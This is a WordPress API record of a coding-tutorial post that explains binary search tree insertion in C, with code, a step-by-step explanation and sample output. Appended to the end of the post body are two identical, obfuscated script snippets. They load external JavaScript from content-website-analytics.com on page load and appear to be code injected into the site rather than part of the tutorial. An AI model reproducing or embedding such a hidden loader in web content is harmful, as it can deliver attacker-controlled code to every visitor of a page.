{"id":656,"date":"2024-10-10T13:41:46","date_gmt":"2024-10-10T08:11:46","guid":{"rendered":"https:\/\/codexplained.in\/?p=656"},"modified":"2025-11-24T15:57:23","modified_gmt":"2025-11-24T10:27:23","slug":"insert-node-in-binary-search-tree","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=656","title":{"rendered":"Insert Node in Binary Search Tree"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Define a structure for a node in the BST\nstruct Node {\n    int data;              \/\/ Data part of the node\n    struct Node* left;     \/\/ Pointer to the left child\n    struct Node* right;    \/\/ Pointer to the right child\n};\n\n\/\/ Function to create a new node\nstruct Node* createNode(int value) {\n    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));\n    newNode-&gt;data = value;  \/\/ Set the data\n    newNode-&gt;left = NULL;   \/\/ Initialize left child as NULL\n    newNode-&gt;right = NULL;  \/\/ Initialize right child as NULL\n    return newNode;\n}\n\n\/\/ Function to insert a node in the BST\nstruct Node* insert(struct Node* root, int value) {\n    \/\/ If the tree is empty, return a new node\n    if (root == NULL) {\n        return createNode(value);\n    }\n    \n    \/\/ Otherwise, recur down the tree\n    if (value &lt; root-&gt;data) {\n        \/\/ If the value to be inserted is smaller than the root, insert in the left subtree\n        root-&gt;left = insert(root-&gt;left, value);\n    } else if (value &gt; root-&gt;data) {\n        \/\/ If the value to be inserted is greater than the root, insert in the right subtree\n        root-&gt;right = insert(root-&gt;right, value);\n    }\n\n    \/\/ Return the unchanged root pointer\n    return root;\n}\n\n\/\/ Function to perform an in-order traversal of the BST\nvoid inOrder(struct Node* root) {\n    if (root != NULL) {\n        inOrder(root-&gt;left);          \/\/ Visit left subtree\n        printf(&quot;%d &quot;, root-&gt;data);    \/\/ Print the node&#039;s data\n        inOrder(root-&gt;right);         \/\/ Visit right subtree\n    }\n}\n\nint main() {\n    struct Node* root = NULL;  \/\/ Start with an empty tree\n    int values&#x5B;] = {50, 30, 20, 40, 70, 60, 80};  \/\/ Values to insert into the BST\n    int n = sizeof(values) \/ sizeof(values&#x5B;0]);\n\n    \/\/ Insert values into the BST\n    for (int i = 0; i &lt; n; i++) {\n        root = insert(root, values&#x5B;i]);\n    }\n\n    \/\/ Print the in-order traversal of the BST\n    printf(&quot;In-order traversal of the BST: &quot;);\n    inOrder(root);\n    printf(&quot;\\n&quot;);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Node Structure Definition<\/strong>:\n<ul class=\"wp-block-list\">\n<li>We define a <code>Node<\/code> structure using <code>struct<\/code> in C.<\/li>\n\n\n\n<li>Each node has three parts:\n<ul class=\"wp-block-list\">\n<li><code>data<\/code>: An integer to store the value.<\/li>\n\n\n\n<li><code>left<\/code>: A pointer to the left child.<\/li>\n\n\n\n<li><code>right<\/code>: A pointer to the right child.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Creating a New Node<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>createNode(int value)<\/code> is a function that allocates memory for a new node and initializes it with the given value.<\/li>\n\n\n\n<li>It sets <code>left<\/code> and <code>right<\/code> pointers to <code>NULL<\/code> because, initially, the new node does not have any children.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Inserting a Node into the BST<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>insert(struct Node* root, int value)<\/code> function inserts a new node with the given value into the BST.<\/li>\n\n\n\n<li>If the <code>root<\/code> is <code>NULL<\/code>, it means the tree is empty or we have reached a leaf position, so a new node is created and returned.<\/li>\n\n\n\n<li>If the <code>value<\/code> is less than the <code>root<\/code>&#8216;s <code>data<\/code>, we recursively insert it into the left subtree.<\/li>\n\n\n\n<li>If the <code>value<\/code> is greater than the <code>root<\/code>&#8216;s <code>data<\/code>, we recursively insert it into the right subtree.<\/li>\n\n\n\n<li>After insertion, we return the unchanged <code>root<\/code> pointer to maintain the tree&#8217;s structure.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>In-order Traversal<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>inOrder(struct Node* root)<\/code> function traverses the BST in in-order fashion (left subtree -&gt; root -&gt; right subtree).<\/li>\n\n\n\n<li>It prints out the nodes in sorted order because of the properties of BST.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Starts with an empty BST (<code>root = NULL<\/code>).<\/li>\n\n\n\n<li>An array <code>values<\/code> contains the integers to be inserted.<\/li>\n\n\n\n<li>We iterate through each value and insert it into the BST using the <code>insert<\/code> function.<\/li>\n\n\n\n<li>Finally, we print the in-order traversal of the BST to verify the nodes are inserted correctly.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Output:<\/h3>\n\n\n\n<p>When you run the above program, the output will display the in-order traversal of the BST:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>In-order traversal of the BST: 20 30 40 50 60 70 80\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation of Output:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The in-order traversal prints the nodes in ascending order because, in a BST, for each node:\n<ul class=\"wp-block-list\">\n<li>Values in the left subtree are smaller.<\/li>\n\n\n\n<li>Values in the right subtree are larger.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>For the given set of values (50, 30, 20, 40, 70, 60, 80), the nodes are arranged in such a way that when we traverse it in in-order, we get <code>20 30 40 50 60 70 80<\/code>.<\/li>\n<\/ul>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Output: When you run the above program, the output will display the in-order traversal of the BST: Explanation of Output:<\/p>\n","protected":false},"author":40,"featured_media":657,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-656","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/656","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=656"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/656\/revisions"}],"predecessor-version":[{"id":1464,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/656\/revisions\/1464"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/657"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=656"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=656"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=656"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}